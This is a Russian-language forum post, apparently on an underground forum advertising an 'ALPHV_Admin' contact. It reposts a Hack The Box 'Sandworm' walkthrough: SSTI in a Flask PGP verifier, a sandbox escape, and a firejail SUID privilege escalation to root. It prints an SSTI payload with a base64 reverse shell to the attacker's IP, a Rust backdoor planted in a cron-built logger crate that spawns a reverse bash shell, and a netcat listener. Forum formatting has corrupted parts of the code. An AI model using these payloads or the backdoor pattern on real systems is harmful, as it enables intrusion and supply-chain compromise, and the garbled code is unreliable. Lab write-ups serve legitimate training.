• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Выходим из песочницы Firejail и повышаем привилегии в Linux

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как совершать побег из сендбокса Firejail, чтобы повысить привилегии в Linux. Еще мы найдем и проэксплуатируем уязвимость SSTI в сервисе проверки подписи PGP, а также заложим бэкдор в проект, написанный на Rust.
А поможет нам в этом тренировочная машина Sandworm с площадки Hack The Box. Уровень ее сложности — средний.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.218 sandworm.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел три открытых порта:
  • 22 — служба OpenSSH 8.9p1;
  • 80 и 443 — веб‑сервер Nginx 1.18.0.
В заголовке http-title присутствует редирект на адрес Для просмотра ссылки Войди или Зарегистрируйся. Добавляем и этот домен в файл /etc/hosts.

10.10.11.218 sandworm.htb ssa.htb
Главная страница сайта https://ssa.htb/
Главная страница сайта Для просмотра ссылки Войди или Зарегистрируйся
На сайте находим формы для шифрования текста и проверки подписи.

Страница шифрования
Страница шифрования
Страница проверки подписи
Страница проверки подписи
По ссылке на странице получаем ключ PGP.

Ключ PGP
Ключ PGP
Больше ничего интересного не находим, а так как мы уже увидели много интересных страниц, попробуем поискать другие.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования.
Задаем нужные параметры и запускаем сканирование:

feroxbuster -k -u [URL]https://ssa.htb[/URL] -t 256 -d 1 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью feroxbuster
Результат сканирования каталогов с помощью feroxbuster
Находим на сайте как админку, так и страницу авторизации.


Точка входа​

Гадать, какая используется технология, не пришлось, так как баннер Powered by Flask расположен на главной странице.

Баннер Powered by
Баннер Powered by
Протестируем сервис проверки подписи. Для этого сначала сгенерируем PGP-ключ, подпишем сообщение, после чего обе записи отправим на сайт. При создании ключа PGP нужно указать имя и адрес электронной почты.

Код:
pgp --gen-key

name1
<email@mail.comp>
Генерирование PGP-ключа
Генерирование PGP-ключа
Затем экспортируем созданный ключ. Его идентификатор — это строка вида "имя" "адрес электронной почты". После чего подпишем сообщение message.

Код:
gpg -a -o pub.key --export 'name1 <email@mail.comp>'
echo 'message' | gpg --clear-sign
Подпись сообщения
Подпись сообщения
Переходим к сервису и передаем экспортированный ключ и подписанное сообщение, после чего проверяем подпись.

Проверка подписи
Проверка подписи
Результат проверки подписи
Результат проверки подписи
В ответе выводится имя, использованное при создании ключа PGP. Так как задействован фреймворк Flask и сервер получает, обрабатывает и выводит контролируемые пользователем данные, с большой вероятностью применяются шаблоны. В этом случае стоит проверить наличие уязвимости SSTI.

Точка опоры​


SSTI​

Сгенерируем новый ключ и вместо имени введем шаблон {{7*7}}.

Создание ключа PGP
Создание ключа PGP
Если уязвимость есть, то на месте имени мы увидим результат выполнения выражения — 49. Снова экспортируем ключ, подписываем сообщение и отправляем их на сервер.

Код:
gpg -a -o pub.key --export '{{7*7}} <q@q.comp>'
echo 'message' | gpg --clear-sign
Результат проверки подписи
Результат проверки подписи
И получаем вместо имени результат выполнения выражения в шаблоне. Так мы узнали, что сервис уязвим.

Справка: Server-Side Template Injection​


Server-Side Template Injection (SSTI), или инъекция шаблонов на стороне сервера, — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.

Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, но была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захватит веб‑сервер.

Попробуем выполнить реверс‑шелл на Python. Для этого сначала сгенерируем его при помощи сервиса Для просмотра ссылки Войди или Зарегистрируйся. На сайте указываем адрес и порт локального хоста и задаем автоматическое кодирование нагрузки в Base64.

Online Reverse Shell Generator
Online Reverse Shell Generator
Выполнять закодированный реверс‑шелл будем при помощи вот такой конструкции:

bash -c "echo <BASE64-REVERSE-SHELL> |base64 -d | bash"
Для выполнения команды через командную оболочку используем следующую нагрузку SSTI:

{{self.[B]init[/B].[B]globals[/B].[B]builtins[/B].[B]import[/B]('os').popen('COMMAND').read()}}
Сгенерируем ключ с нагрузкой вместо имени.

Код:
{{ self.init.globals.builtins.import('os').popen('bash -c "echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjM3Iiw0MzIxKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc= | base64 -d | bash" ').read() }}
Создание ключа
Создание ключа
Теперь привычным образом экспортируем ключ и подписываем сообщение. Но перед отправкой на проверку запускаем листенер (rlwrap nc -nlpv 4321). Сразу же после отправки получаем сессию пользователя atlas.

Сессия пользователя atlas
Сессия пользователя atlas

Продвижение​


Sandbox Escape​

Мы получили какой‑то шелл, вероятно урезанный, потому что не выполняются, например, команды curl, wget, rm и cp. Возможно, мы попали в песочницу, что подтверждаем, просмотрев каталог ~/.config. Там мы находим другой каталог — firejail.

Содержимое каталога ~/.config
Содержимое каталога ~/.config
Firejail — это простая в использовании система изолированного выполнения графических, консольных и серверных приложений, которая ограничивает рабочую среду потенциально уязвимых программ и тем самым повышает безопасность систем. Для этого используются пространства имен, фильтрация системных вызовов и возможностей AppArmor.

Также видим каталог httpie. HTTPie — это консольный HTTP-клиент, который предназначен для тестирования, отладки и общего взаимодействия с HTTP-серверами. Получим полный листинг со всеми подкаталогами.

Все содержимое каталога ~/.config
Все содержимое каталога ~/.config
В каталоге httpie/sessions/localhost_5000 видим доступный для чтения файл admin.json. В самом файле есть учетные данные пользователя silentobserver.

Содержимое файла admin.json
Содержимое файла admin.json
С найденными учетными данными подключаемся по SSH и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Пользователь atlas​

Теперь у нас есть полноценная оболочка и нам нужно собрать информацию. Я, как обычно, использую для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загружаем на хост скрипт для Linux, даем право на выполнение и приступаем к сканированию.

Обнаруживаем, что для приложения firejail установлен бит SUID, но оно доступно только группе пользователя jailer.

Приложения с SUID-битом
Приложения с SUID-битом
В каталоге /opt находим два проекта, которые относятся к группе пользователя atlas.

Содержимое каталога opt
Содержимое каталога opt
Файлы одного из этих проектов мы можем модифицировать.

Файлы, доступные для записи
Файлы, доступные для записи
В дереве процессов видим запущенную через cron от имени пользователя atlas команду cargo run --offline.

Дерево процессов
Дерево процессов
Так как cron запускает какие‑то приложения, посмотрим, что запущено прямо сейчас, при помощи утилиты Для просмотра ссылки Войди или Зарегистрируйся. В ее выводе находим запуск найденной команды.

Вывод утилиты pspy64
Вывод утилиты pspy64
Так как запускается файл из проекта tipnet, просмотрим исходный код приложения /opt/tipnet/src/main.rs.

Содержимое файла main.rs
Содержимое файла main.rs
Это программа на Rust, которая взаимодействует с базой данных MySQL. Код позволяет выполнять запросы и манипулировать данными в базе данных. Кроме того, программа может искать записи в базе данных по ключевым словам и регистрировать действия в журнале. Но самой первой строкой подключается модуль logger. А его мы можем найти в проекте, где у нас есть право на запись.

Содержимое каталога /opt/crates/logger/src
Содержимое каталога /opt/crates/logger/src
Содержимое файла lib.rs
Содержимое файла lib.rs
Давай запишем в код бэкдор, чтобы при каждом вызове функции log мы получали реверс‑шелл на порт 4321. Код реверс‑шелла на Rust Для просмотра ссылки Войди или Зарегистрируйся.

Код:
extern crate chrono;

use std::net::TcpStream;
use std:s::unix::{AsRawFd, FromRawFd};
use std:rocess::{Command, Stdio};

use std::fs::OpenOptions;
use std::Write;
use chrono:relude::*;

pub fn log(user: &str, query: &str, justification: &str) {
   let sock = TcpStream::connect("10.10.14.37:6543").unwrap();

   let fd = sock.as_raw_fd();

   Command::new("/bin/bash")
       .arg("-i")
       .stdin(unsafe { Stdio::from_raw_fd(fd) })
       .stdout(unsafe { Stdio::from_raw_fd(fd) })
       .stderr(unsafe { Stdio::from_raw_fd(fd) })
       .spawn()
       .unwrap()
       .wait()
       .unwrap();

   let now = Local::now();
   let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
   let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

   let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
       Ok(file) => file,
       Err(e) => {
           println!("Error opening log file: {}", e);
           return;
       }
   };

   if let Err(e) = file.write_all(log_message.as_bytes()) {
       println!("Error writing to log file: {}", e);
   }
}

Затем собираем модуль и ждем, когда прилетит бэкконнект.

cargo build
Сборка проекта
Сборка проекта
Сессия пользователя atlas
Сессия пользователя atlas

Локальное повышение привилегий​

При разведке мы также определили, что у исполняемого файла firejail выставлен S-бит. Теперь мы можем этим воспользоваться. При помощи Для просмотра ссылки Войди или Зарегистрируйся для выхода из песочницы мы получим сессию с теми же привилегиями, с которыми был запущен firejail. А так как мы можем запускать его от имени root, то это явный путь к повышению привилегий. Только одной сессии будет мало, поэтому вернемся к предыдущему шагу и сделаем себе еще одну сессию на порте 6543. Затем загружаем эксплоит на хост и запускаем в первой сессии.

Запуск эксплоита
Запуск эксплоита
Он покажет нам следующую команду, которую мы запускаем во второй сессии.

Получение привилегированного шелла
Получение привилегированного шелла
Как можно видеть, во второй сессии мы сразу получаем новый шелл. И теперь мы можем изменить пользователя на root без ввода всяких паролей.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу